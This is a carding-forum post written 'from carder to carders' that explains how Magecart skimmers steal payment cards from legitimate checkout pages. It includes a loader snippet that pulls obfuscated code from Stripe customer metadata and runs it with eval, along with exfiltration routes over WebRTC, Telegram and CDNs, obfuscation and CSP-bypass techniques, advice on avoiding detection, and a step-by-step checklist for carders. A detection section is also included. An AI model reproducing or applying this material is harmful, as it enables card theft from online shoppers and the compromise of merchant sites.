Magecart 2.0: Skimming via legitimate checkout pages

[Good Carder]

From carder to carders. While you're busy with carding card and 3DS bypasses, another class of carders has been clipping coupons for years without even touching the cards. They don't buy CVVs, don't set up proxies, don't warm up profiles. They simply inject a single line of JavaScript into someone else's website, and thousands of customers voluntarily submit their card details. This is Magecart. In 2026, Magecart ceased being just a skimmer — it transformed into a full-fledged ecosystem using legitimate cloud services (Google Tag Manager, Stripe) as its infrastructure.

In this article, I'll explore how Magecart 2.0 works: from injection via plugin compromise to data exfiltration via WebRTC and storing the skimmer data in Stripe's metadata. You'll learn how skimmers disguise themselves as legitimate scripts, how they bypass Content Security Policy (CSP), and how to detect them. Let's get started.

Part 1: Why Magecart Shifted from Fake Websites to Attacking Real Websites​

Classic skimming involves creating a fake page that looks like a bank or store website and waiting for the victim to enter their details. Magecart 2.0 works differently: you don't create a fake website. You attack a real website, one that's already trusted by thousands of customers. The victim sees a familiar URL, a familiar design, and enters their card details, unaware that every digit is being sent to your server.

Why it's more effective:

• Trust. The buyer trusts the website they've visited. They're not looking for a catch.
• Scale. A single compromised store can generate hundreds of cards per day.
• Difficulty of detection. Traditional scanners look for suspicious domains. When a skimmer operates through legitimate services (GTM, Stripe), it is almost impossible to detect using standard tools.

In 2025–2026, Magecart campaigns became widespread. One of them affected nearly 2,000 online stores. Another used invisible SVG elements to inject a fake payment overlay into 99 Magento stores. And in June 2026, researchers discovered a campaign using Google Tag Manager and Stripe to store a skimmer and exfiltrate data.

Part 2. Technical Analysis of the Obfuscated Client-Side Skimmer​

Let's look at a real skimmer discovered in 2026. It operates in three stages and uses only legitimate services.

2.1. Step 1. Loader via Google Tag Manager​

It all starts with a GTM tag. The attacker gains access to the store's GTM container (via hacked credentials or a plugin vulnerability) and adds a custom HTML tag. This tag doesn't contain the skimmer itself, only the loader.

// Simplified loader example
(function() {
var customerId = 'cus_XXXXXXXXXXXXXXXX'; // Fake Stripe customer ID
var stripeKey = 'pk_live_XXXXXXXXXXXXXXXX';

// Request to Stripe API to retrieve metadata
fetch('https://api.stripe.com/v1/customers/' + customerId, {
headers: { 'Authorization': 'Bearer ' + stripeKey }
})
.then(response => response.json())
.then(data => {
// Metadata contains the obfuscated skimmer
var skimmerCode = data.metadata.skimmer;
eval(skimmerCode); // Executing the skimmer
});
})();

The downloader doesn't contain any malicious code — it's just a request to Stripe. Standard scanners don't detect any threats because the code accesses the legitimate Stripe API.

2.2. Step 2. Storing the skimmer in Stripe metadata​

The skimmer is stored in the metadata field of a fake Stripe client. The attacker creates a client in Stripe (using a legitimate API key) and writes obfuscated JavaScript code to its metadata.

This gives the attacker:

• Updates without reinstallation. An attacker can modify the skimmer at any time by editing Stripe metadata. They don't need to hack the store again.
• Stealth. Traffic is routed through the legitimate domain api.stripe.com, which is always whitelisted.
• Resilience. Even if the GTM tag is detected and removed, the skimmer remains alive in Stripe.

2.3. Stage 3. Data collection and exfiltration​

When a customer visits the checkout page, the skimmer is activated. It connects to the card input fields and intercepts data in real time.

Typical collection methods include:

• Payment button hooks. The skimmer intercepts clicks on the "Pay" button and reads data from the fields before submitting.
• Payment form substitution. The skimmer hides the legitimate Stripe form and displays a nearly identical fake one that sends data to the attacker.
• Intercepting input fields. Some skimmers use setInterval to constantly poll input fields, reading data as you type.

Exfiltration:
In 2026, skimmers use several channels to output data:

1. Back to Stripe. Stolen cards are recorded as "fake customers" in the same Stripe account.
2. WebRTC DataChannels. Some skimmers use WebRTC to bypass Content Security Policy (CSP). WebRTC connections are not regulated by standard CSP rules, allowing data to be exfiltrated undetected.
3. Telegram bots. In 2025, campaigns were recorded sending stolen cards directly to Telegram.
4. CDN subdomains. Data is encrypted (e.g., AES-CTR) and sent to legitimate CDN domains (b-cdn.net).

Part 3. Implementation Methods: How the Skimmer Gets on a Website​

3.1. Plugin compromise​

The most widespread method. Attackers look for vulnerabilities in popular WooCommerce and Magento plugins. In 2025, a vulnerability was discovered in a plugin (CVE-2025-4892) that allows for the introduction of a PHP backdoor and skimmer.

Here's how it works:

1. The attacker scans websites for a vulnerable version of the plugin.
2. Exploits a vulnerability to download a web shell or backdoor.
3. Through a backdoor, it edits theme or plugin files, introducing a skimmer.

3.2. Injecting into Themes and Templates​

In 2025, a large-scale attack was recorded on British fast food chains. The attackers injected malicious code into the first JavaScript file embedded in the website template. This allowed them to infect dozens of websites without targeting each one individually.

3.3. Exploiting vulnerabilities in third-party components​

Magecart exploits modern website architectures based on third-party code for payments, analytics, advertising, and widgets. Attackers find vulnerabilities in these components and inject skimmers through them.

Specific examples from 2026:

• SVG Onload Attack. On April 7, 2026, nearly 100 Magento stores were infected with a skimmer injected through invisible SVG elements. The skimmer intercepted clicks on any checkout button and displayed a full-screen modal overlay instead of the legitimate form.
• WebRTC skimmer. In June 2026, a skimmer was discovered using WebRTC to exfiltrate data, bypassing the CSP.
• Stripe Skimmer. June 2026 – A campaign using Stripe as a command and control server and repository for stolen data.

Part 4. How skimmers camouflage themselves and bypass protection​

4.1. Code obfuscation​

Modern skimmers use advanced obfuscation methods:

Method	Description	Example
Hex mapping	Variables are replaced with hexadecimal values	where _0x1234 = ...
Base64 encoding	The code is encoded in Base64 and executed via eval	eval(atob("..."))
Offset arrays	The logic is hidden through arrays with offset indices.	arr[0x4f] instead of calling directly
404 pages	The code is hidden in 404 pages	The browser loads a 404 page, but executes a hidden script in it.
EXIF metadata	The skimmer is stored in the EXIF favicon.	Never touches the store's source code
Blob objects	The code is loaded as a blob URI, bypassing CSP.	URL.createObjectURL(blob)

One recent example is a skimmer that uses a three-stage download chain, with the payload hidden in the favicon's EXIF metadata. The code never appears in the store's repository and is executed exclusively in the buyer's browser.

4.2. Using trusted domains​

Instead of their C&C servers, attackers use:

• googletagmanager.com — downloader delivery
• api.stripe.com — skimmer storage and exfiltration
• b-cdn.net — CDN exfiltration
• Telegram API — sending cards

This makes detection almost impossible for standard WAFs and scanners.

4.3 Bypassing CSP via WebRTC​

Content Security Policy (CSP) is one of the primary defense mechanisms against unauthorized code execution. In 2026, attackers discovered a way to bypass it.

Here's how the bypass works:

1. The skimmer is injected into the page (via GTM or another vulnerability).
2. Instead of sending data over HTTP (which is blocked by CSP), it uses WebRTC DataChannels.
3. WebRTC connections are not regulated by CSP, allowing for unrestricted data exfiltration.

This method was discovered in March-April 2026 and is already being used in real attacks.

Part 5: Step-by-step instructions for detecting a skimmer​

This section is for those who want to understand what a skimmer looks like "from the inside" - for reverse engineering and understanding the mechanics.

5.1. Checking the GTM container​

1. Open the browser console (F12) on the checkout page.
2. Enter dataLayer and see what tags are loaded.
3. Check if there are any custom HTML tags that load scripts from unknown domains or use eval() to execute code.
4. Find the GTM container (usually in the <head>) and check its ID. Compare it with the official ID that the store should have.

5.2. Network Request Analysis​

1. Open the Network tab in the developer console.
2. Refresh the checkout page.
3. Search queries for:
   • api.stripe.com/v1/customers - especially with metadata.
   • googletagmanager.com/gtm.js — check for additional parameters.
   • Unfamiliar domains with suffixes -analytics.com, -cdn.com, -metrics.com.
4. Check for WebRTC connections ( WebRTC tab in Chrome DevTools).

5.3. Inspecting DOM Elements​

1. In the console, execute: document.querySelectorAll('iframe, script[src]').
2. Check if there are any invisible iframes or SVG elements with onload attributes.
3. Find the payment form. Make sure it's genuine (if your store uses Stripe) and not a fake one.
4. Check if the legitimate form is hidden using display: none or visibility: hidden.

5.4. Stripe Metadata Check (for Researchers)​

1. Find the store's Stripe public key (usually in JavaScript on the page).
2. Send a request to the Stripe API to get a list of customers.
3. Check each client's metadata field for suspicious data (obfuscated JavaScript).

5.5. Tools for automatic detection​

• CartShark — real-time script monitoring on checkout pages.
• Feroot — inventory of payment page scripts and detection of unauthorized changes.
• Sansec is a specialist skimmer detection company.

Part 6. Mistakes when implementing a skimmer (and how to avoid them)​

While this article is for carders, understanding the errors also helps in detection.

6.1 Error: Using your own C&C server​

Your own server is easy to locate by its non-standard domain or IP address.
Solution: Use legitimate cloud services (Stripe, GTM, CDN) as infrastructure.

6.2. Error: Leaving visible traces in the code​

If the skimmer isn't obfuscated, it's easy to find.
Solution: Use multi-stage obfuscation (hex mapping, Base64, offset arrays).

6.3. Error: Skimmer activated on all pages​

If the skimmer is active on all pages, it's detected faster.
Solution: Activate the skimmer only on checkout pages (URL verification).

6.4. Error: Using one exfiltration channel​

If the channel is blocked, the data doesn't arrive.
Solution: Use multiple channels: Stripe metadata, WebRTC, Telegram, CDN.

Part 7. Carder's Checklist (Understanding the Infrastructure)​

• Objective: Find a store with a vulnerable WooCommerce/Magento plugin.
• Injection: Gain access through a vulnerability (CVE, stolen credentials).
• Loader: Implement a GTM tag that loads the skimmer from Stripe metadata.
• Storage: Create a fake client in Stripe and store the skimmer in metadata.
• Collection: The skimmer intercepts data on the checkout page.
• Exfiltration: Data is sent via Stripe, WebRTC, or Telegram.
• Update: Change skimmer via Stripe metadata without re-implementation.
• Camouflage: Use obfuscation and trusted domains to remain hidden.

Summary​

Magecart 2.0 is the evolution of skimming. Instead of fake websites, attackers use legitimate checkout pages. Instead of their own servers, they use Google Tag Manager and Stripe. Instead of HTTP exfiltration, they use WebRTC and Telegram. In 2026, Magecart campaigns became widespread: one affected nearly 2,000 stores, another used invisible SVG elements on 99 Magento sites, and a third turned Stripe into a full-fledged command-and-control server.

Key lessons:

1. Trusted services are no guarantee of security. GTM and Stripe can be used to host skimmers.
2. CSP is no longer a panacea. WebRTC allows you to bypass even strict policies.
3. Obfuscation is standard. Modern skimmers use hex mapping, Base64, offset arrays, and even EXIF metadata for disguise.

A quick one-line reminder:
"GTM loads, Stripe stores, WebRTC removes. A metadata skimmer leaves no trace in the store's code. 99 stores overnight via SVG. 2,000 stores per campaign. Magecart 2026 isn't a hack, it's an integration with trusted services."